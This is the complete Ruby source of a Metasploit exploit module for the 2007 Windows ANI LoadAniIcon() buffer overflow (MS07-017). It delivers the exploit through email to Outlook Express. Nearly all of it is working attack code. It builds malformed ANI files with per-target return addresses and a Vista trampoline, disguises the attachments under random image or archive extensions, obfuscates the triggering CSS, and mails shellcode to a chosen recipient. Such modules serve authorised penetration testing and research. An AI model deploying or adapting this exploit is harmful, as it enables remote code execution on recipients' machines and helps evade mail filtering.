Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)



##

# $Id: ms07_017_ani_loadimage_chunksize.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    #
    # This module sends email messages via smtp
    #
    include Msf::Exploit::Remote::SMTPDeliver

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)',
            'Description'    => %q{
                This module exploits a buffer overflow vulnerability in the
                LoadAniIcon() function of USER32.dll. The flaw is triggered
                through Outlook Express by using the CURSOR style sheet
                directive to load a malicious .ANI file.

                This vulnerability was discovered by Alexander Sotirov of Determina
                and was rediscovered, in the wild, by McAfee.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'hdm',   # First version
                    'skape', # Vista support
                ],
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    ['MSB', 'MS07-017'],
                    ['CVE', '2007-0038'],
                    ['CVE', '2007-1765'],
                    ['OSVDB', '33629'],
                    ['BID', '23194'],
                    ['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'],
                    ['URL', 'http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp'],
                    ['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'],
                ],
            'Stance'         => Msf::Exploit::Stance::Passive,
            'DefaultOptions' =>
                {
                    # Cause internet explorer to exit after the code hits
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'       => 1024 + (rand(1000)),
                    'MinNops'     => 32,
                    'Compat'      =>
                        {
                            'ConnectionType' => '-bind -find',
                        },

                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [

                    #
                    # Use multiple cursor URLs to try all targets. This can result in
                    # multiple, sequential sessions
                    #

                    [ 'Automatic', {} ],

                    #
                    # The following targets use call [ebx+4], just like the original exploit
                    #

                    # Partial overwrite doesn't work for Outlook Express
                    [ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }],

                    # Should work for all English XP SP2
                    [ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }],

                    # Supplied by Fabrice MOURRON <fab[at]revhosts.net>
                    [ 'Windows XP SP2 userenv.dll French', { 'Ret' => 0x7699c81a }],

                    # Should work for English XP SP0/SP1
                    [ 'Windows XP SP0/SP1 netui2.dll English', { 'Ret' => 0x71bd0205 }],

                    # Should work for English 2000 SP0-SP4+
                    [ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }],

                    #
                    # Partial overwrite where 700b is a jmp dword [ebx] ebx points to the start
                    # of the RIFF chunk itself.  The length field of the RIFF chunk
                    # tag contains a short jump into an embedded riff chunk that
                    # makes a long relative jump into the actual payload.
                    #
                    [ 'Windows Vista user32.dll 6.0.6000.16386',
                        {
                            'Ret'         => 0x700b,
                            'Len'         => 2,

                            # On Vista, the pages that contain the RIFF are read-only.
                            # In-place decoders cannot be used.
                            'Payload'     => { 'EncoderType' => Msf::Encoder::Type::Raw }
                        }
                    ],

                    #
                    # Supplied by ramon[at]risesecurity.org
                    #

                    # call [ebx+4]
                    [ 'Windows XP SP2 user32.dll (5.1.2600.2180) Multi Language', { 'Ret' => 0x25d0, 'Len' => 2 }],
                    [ 'Windows XP SP2 user32.dll (5.1.2600.2180) English', { 'Ret' => 0x77d825d0 }],
                    [ 'Windows XP SP2 userenv.dll Portuguese (Brazil)', { 'Ret' => 0x769dc81a }],

                    # call [esi+4]
                    [ 'Windows XP SP1a userenv.dll English', { 'Ret' => 0x75a758b1 }],
                    [ 'Windows XP SP1a shell32.dll English', { 'Ret' => 0x77441a66 }]
                ],
            'DisclosureDate' => 'Mar 28 2007',
            'DefaultTarget' => 0))

    end

    def autofilter
        false
    end

    def exploit

        exts = ['bmp', 'wav', 'png', 'zip', 'tar']

        gext =  exts[rand(exts.length)]
        name = rand_text_alpha(rand(10)+1) + ".#{gext}"

        anis = {}

        html =
            "<html><head><title>" +
                rand_text_alphanumeric(rand(128)+4) +
            "</title>" +
            "</head><body>" + rand_text_alphanumeric(rand(128)+1)


        mytargs = (target.name =~ /Automatic/) ? targets : [target]

        if target.name =~ /Automatic/
            targets.each_index { |i|
                next if not targets[i].ret
                acid = generate_cid
                html << generate_div("cid:#{acid}")

                # Re-generate the payload, using the explicit target
                return if ((p = regenerate_payload(nil, nil, targets[i])) == nil)

                # Generate an ANI file for this target
                anis[acid] = generate_ani(p, targets[i])
            }
        else
            acid = generate_cid
            html << generate_div("cid:#{acid}")

            # Re-generate the payload, using the explicit target
            return if ((p = regenerate_payload(nil, nil, target)) == nil)

            # Generate an ANI file for this target
            anis[acid] = generate_ani(p, target)
        end

        html << "</body></html>"


        msg = Rex::MIME::Message.new
        msg.mime_defaults
        msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
        msg.to = datastore['MAILTO']
        msg.from = datastore['MAILFROM']

        msg.add_part(Rex::Text.encode_base64(html, "\r\n"), "text/html", "base64", "inline")
        anis.each_pair do |cid,ani|
            part = msg.add_part_attachment(ani, cid + "." + gext)
            part.header.set("Content-ID", "<"+cid+">")
        end

        send_message(msg.to_s)

        print_status("Waiting for a payload session (backgrounding)...")
    end

    def generate_cid
        rand_text_alphanumeric(32)+'@'+rand_text_alphanumeric(8)
    end

    def generate_div(url)
        "<div style='" +
            generate_css_padding() +
            Rex::Text.to_rand_case("cursor") +
            generate_css_padding() +
            ":" +
            generate_css_padding() +
            Rex::Text.to_rand_case("url(") +
            generate_css_padding() +
            "\"#{url}\"" +
            generate_css_padding() +
            ");" +
            generate_css_padding() +
            "'>" +
            generate_padding() +
        "</div>"
    end

    def generate_ani(payload, target)

        # Build the first ANI header
        anih_a = [
            36,            # DWORD cbSizeof
            rand(128)+16,  # DWORD cFrames
            rand(1024)+1,  # DWORD cSteps
            0,             # DWORD cx,cy  (reserved - 0)
            0,             # DWORD cBitCount, cPlanes (reserved - 0)
            0, 0, 0,       # JIF jifRate
            1              # DWORD flags
        ].pack('V9')

        anih_b = nil

        if (target.name =~ /Vista/)
            # Vista has ebp=80, eip=84
            anih_b = rand_text(84)

            # Patch local variables and loop counters
            anih_b[68, 12] = [0].pack("V") * 3
        else
            # XP/2K has ebp=76 and eip=80
            anih_b = rand_text(80)

            # Patch local variables and loop counters
            anih_b[64, 12] = [0].pack("V") * 3
        end

        # Overwrite the return with address of a "call ptr [ebx+4]"
        anih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4]

        # Begin the ANI chunk
        riff = "ACON"

        # Calculate the data offset for the trampoline chunk and add
        # the trampoline chunk if we're attacking Vista
        if target.name =~ /Vista/
            trampoline_doffset = riff.length + 8

            riff << generate_trampoline_riff_chunk
        end

        # Insert random RIFF chunks
        0.upto(rand(128)+16) do |i|
            riff << generate_riff_chunk()
        end

        # Embed the first ANI header
        riff << "anih" + [anih_a.length].pack('V') + anih_a

        # Insert random RIFF chunks
        0.upto(rand(128)+16) do |i|
            riff << generate_riff_chunk()
        end

        # Trigger the return address overwrite
        riff << "anih" + [anih_b.length].pack('V') + anih_b

        # If this is a Vista target, then we need to align the length of the
        # RIFF chunk so that the low order two bytes are equal to a jmp $+0x16
        if target.name =~ /Vista/
            plen  = (riff.length & 0xffff0000) | 0x0eeb
            plen += 0x10000 if (plen - 8) < riff.length

            riff << generate_riff_chunk((plen - 8) - riff.length)

            # Replace the operand to the relative jump to point into the actual
            # payload itself which comes after the riff chunk
            riff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 5].pack('V')
        end

        # Place the RIFF chunk in front and off we go
        ret = "RIFF" + [riff.length].pack('V') + riff

        # We copy the encoded payload to the stack because sometimes the RIFF
        # image is mapped in read-only pages.  This would prevent in-place
        # decoders from working, and we can't have that.
        ret << Rex::Arch::X86.copy_to_stack(payload.encoded.length)

        # Place the real payload right after it.
        ret << payload.encoded

        ret

    end

    # Generates a riff chunk with the first bytes of the data being a relative
    # jump.  This is used to bounce to the actual payload
    def generate_trampoline_riff_chunk
        tag = Rex::Text.to_rand_case(rand_text_alpha(4))
        dat = "\xe9\xff\xff\xff\xff" + rand_text(1) + (rand_text(rand(256)+1) * 2)
        tag +    [dat.length].pack('V') + dat
    end

    def generate_riff_chunk(len = (rand(256)+1) * 2)
        tag = Rex::Text.to_rand_case(rand_text_alpha(4))
        dat = rand_text(len)
        tag + [dat.length].pack('V') + dat
    end

    def generate_css_padding
        buf =
            generate_whitespace() +
            "/*" +
            generate_whitespace() +
            generate_padding() +
            generate_whitespace() +
            "*/" +
            generate_whitespace()
    end

    def generate_whitespace
        len = rand(100)+2
        set = "\x09\x20\x0d\x0a"
        buf = ''

        while (buf.length < len)
            buf << set[rand(set.length)].chr
        end
        buf
    end

    def generate_padding
        rand_text_alphanumeric(rand(128)+4)
    end

end